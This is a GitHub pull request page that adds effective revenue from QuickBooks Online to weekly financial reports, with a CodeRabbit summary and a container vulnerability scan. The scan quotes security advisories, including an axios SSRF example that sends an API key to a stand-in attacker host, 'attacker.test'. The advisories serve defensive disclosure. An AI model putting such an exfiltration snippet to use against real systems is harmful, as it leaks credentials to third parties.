Fix/weekly reports effective revenue calculation

[anatolyshipitz]

Enhance Weekly Financial Reports with Project Name and Formatting Adjustments

• Added 'name' field to the project schema to ensure project identification in financial reports.
• Updated FinAppRepository to include project names in the data retrieval process.
• Removed unnecessary group total hours from report formatting to streamline output.
• Adjusted formatting in WeeklyFinancialReportFormatter for improved readability and consistency.
• Enhanced sorting logic in WeeklyFinancialReportRepository to sort groups by name alphabetically.

These changes improve the clarity and organization of weekly financial reports, providing better insights into project performance.

Summary by CodeRabbit

• New Features

  • Weekly Financial Reports now use effective revenue for calculations, adding effective margin and effective marginality to details.
  • Details layout refreshed; summaries include High/Medium/Low groups (now showing Low), and groups are sorted by marginality (High → Medium → Low).
  • Footer now explains the effective revenue date window and shows the computed range.
  • Integrated with QuickBooks Online to pull effective revenue per project.

• Chores

  • Updated default effective revenue lookback to 4 months (configurable via environment variable).

[coderabbitai]

Caution

Review failed

The pull request is closed.

Walkthrough

Integrates QBO effective revenue into weekly financial report generation. Adds effectiveRevenue to project data, updates FinApp schema/types and repository projection, adjusts formatter outputs and footer logic, refactors report repository to group-based aggregation and sorting by marginality, updates/adds tests, and changes QBO effectiveRevenueMonths default to 4.

Changes

Cohort / File(s)	Summary
Activity: Fetch FinApp Data with QBO workers/main/src/activities/weeklyFinancialReports/fetchFinancialAppData.ts	Imports QBORepository, fetches effectiveRevenue, enriches projects with effectiveRevenue by quick_books_id, and adds overall effectiveRevenue to output JSON.
QBO Config workers/main/src/configs/qbo.ts	Changes default effectiveRevenueMonths from 3 to 4; env override unchanged.
FinApp Data Layer workers/main/src/services/FinApp/FinAppRepository.ts, workers/main/src/services/FinApp/FinAppSchemas.ts, workers/main/src/services/FinApp/types.ts	Adds Project.name to schema and repository projection; extends Project type with optional effectiveRevenue.
Weekly Report Core (Formatter/Repository) workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts, workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts	Formatter: renames/extends interfaces, adds effective revenue/margin fields, revises output and footer (date-window via qboConfig). Repository: switches to per-group aggregation, computes effective metrics, sorts by marginality, restructures detail/summary assembly.
Weekly Report Tests workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts, workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportSorting.test.ts	Adds data builders; updates tests; adds sorting test verifying order by effectiveMarginality and marginality levels.

Sequence Diagram(s)

sequenceDiagram
  participant Cron as Cron/Worker
  participant Activity as fetchFinancialAppData
  participant FinApp as FinAppRepository
  participant QBO as QBORepository
  participant Storage as File Writer

  Cron->>Activity: Execute
  Activity->>FinApp: getEmployees(), getProjectsByRedmineIds(...)
  Activity->>QBO: getEffectiveRevenue(projectIds, months)
  QBO-->>Activity: Map<quick_books_id,effectiveRevenue>
  Activity->>Activity: Enrich projects with effectiveRevenue (default 0)
  Activity->>Storage: Write JSON {projects, employees, effectiveRevenue}
  Activity-->>Cron: fileLink

Loading

sequenceDiagram
  participant Repo as WeeklyFinancialReportRepository
  participant Formatter as WeeklyFinancialReportFormatter
  participant Marg as MarginalityCalculator
  participant Config as qboConfig

  Repo->>Repo: collectGroupData(targetUnits)
  Repo->>Repo: aggregateGroupData per group (revenue, COGS, effectiveRevenue)
  Repo->>Marg: calculate marginality/effectiveMarginality
  Repo->>Repo: sortGroupData by marginality then name
  Repo->>Repo: createSortedGroups (High/Medium/Low)
  Repo->>Formatter: formatSummary({high, medium, low, lowGroups})
  Formatter->>Config: effectiveRevenueMonths
  Formatter-->>Repo: summary text
  Repo->>Formatter: formatFooter()
  Repo-->>Caller: {details, summary}

Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

• Add fetchFinancialAppData activity #57: Earlier changes to the same fetchFinancialAppData activity that this PR extends with QBO effective revenue.
• Add QBORepository and related tests for effective revenue calculation #86: Introduces QBORepository and types used here to fetch effectiveRevenue.
• Add Weekly Financial Report functionality with repository and tests #65: Prior refactors to WeeklyFinancialReport components that this PR builds upon with effective revenue and new formatting/sorting.

Suggested reviewers

• killev

Poem

A ledger of carrots, crisp and new,
I hop through groups—High, Medium, Low—woohoo!
Effective nibble, margins align,
Four months of fields, the rows look fine.
With QBO breeze and formats neat,
This weekly report is crunchy-sweet. 🥕🐇

---

📜 Recent review details

Configuration used: .coderabbit.yml
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e29aa60 and 595920f.

⛔ Files ignored due to path filters (1)

• memory-bank/archive/archive-TargetUnit-Effective-Params-20250811.md is excluded by !memory-bank/**

📒 Files selected for processing (9)

• workers/main/src/activities/weeklyFinancialReports/fetchFinancialAppData.ts (2 hunks)
• workers/main/src/configs/qbo.ts (1 hunks)
• workers/main/src/services/FinApp/FinAppRepository.ts (1 hunks)
• workers/main/src/services/FinApp/FinAppSchemas.ts (1 hunks)
• workers/main/src/services/FinApp/types.ts (1 hunks)
• workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportFormatter.ts (2 hunks)
• workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.test.ts (3 hunks)
• workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportRepository.ts (4 hunks)
• workers/main/src/services/WeeklyFinancialReport/WeeklyFinancialReportSorting.test.ts (1 hunks)

✨ Finishing Touches

• 📝 Generate Docstrings

🧪 Generate unit tests

• Create PR with unit tests
• Post copyable unit tests in a comment
• Commit unit tests in branch fix/weekly-reports-effective-revenue-calculation

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

• Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  • I pushed a fix in commit <commit_id>, please review it.
  • Open a follow-up GitHub issue for this discussion.
• Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query.
• PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
  • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

CodeRabbit Commands (Invoked using PR/Issue comments)

Type @coderabbitai help to get the list of available commands.

Other keywords and placeholders

• Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
• Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
• Add @coderabbitai anywhere in the PR title to generate the title automatically.

Status, Documentation and Community

• Visit our Status Page to check the current availability of CodeRabbit.
• Visit our Documentation for detailed information on how to use CodeRabbit.
• Join our Discord Community to get help, request features, and share feedback.
• Follow us on X/Twitter for updates and announcements.

[github-actions]

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest

digest	sha256:b7ccf7fb78c14d77a50ca3ffc16b659ac3b8188192cba610310e1479c19e3e19
vulnerabilities
platform	linux/amd64
size	248 MB
packages	1687

📦 Base Image node:20-alpine

also known as	20-alpine3.21 20.19-alpine 20.19-alpine3.21 20.19.0-alpine 20.19.0-alpine3.21 iron-alpine iron-alpine3.21
digest	sha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilities

stdlib 1.24.0 (golang) pkg:golang/[email protected] Affected range >=1.24.0-0 <1.24.2 Fixed version 1.24.2 EPSS Score 0.023% EPSS Percentile 4th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range >=1.24.0-0 <1.24.4 Fixed version 1.24.4 EPSS Score 0.012% EPSS Percentile 1st percentile Description Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

form-data 2.5.3 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range <2.5.4 Fixed version 2.5.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

samlify 2.9.0 (npm) pkg:npm/[email protected] Improper Verification of Cryptographic Signature Affected range <2.10.0 Fixed version 2.10.0 CVSS Score 9.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.026% EPSS Percentile 6th percentile Description A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user. An attacker would need a signed XML document by the identity provider.

form-data 4.0.0 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

multer 1.4.5-lts.2 (npm) pkg:npm/[email protected] Missing Release of Memory after Effective Lifetime Affected range <2.0.0 Fixed version 2.0.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 3rd percentile Description Impact Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance. This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted. Patches Users should upgrade to 2.0.0 Workarounds None References fix: MEMORY LEAK expressjs/multer#1120 expressjs/multer@2c8505f

semver 5.3.0 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range <5.7.2 Fixed version 5.7.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.418% EPSS Percentile 61st percentile Description Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

cross-spawn 7.0.3 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range >=7.0.0 <7.0.5 Fixed version 7.0.5 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P EPSS Score 0.130% EPSS Percentile 33rd percentile Description Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

axios 1.7.4 (npm) pkg:npm/[email protected] Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.024% EPSS Percentile 5th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

tar-fs 2.1.2 (npm) pkg:npm/[email protected] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.3 Fixed version 2.1.3 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.117% EPSS Percentile 31st percentile Description Impact v3.0.8, v2.1.2, v1.16.4 and below Patches Has been patched in 3.0.9, 2.1.3, and 1.16.5 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

pdfjs-dist 2.16.105 (npm) pkg:npm/[email protected] Improper Check for Unusual or Exceptional Conditions Affected range <=4.1.392 Fixed version 4.2.67 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 31.580% EPSS Percentile 97th percentile Description Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain. Patches The patch removes the use of eval: mozilla/pdf.js#18015 Workarounds Set the option isEvalSupported to false. References https://bugzilla.mozilla.org/show_bug.cgi?id=1893645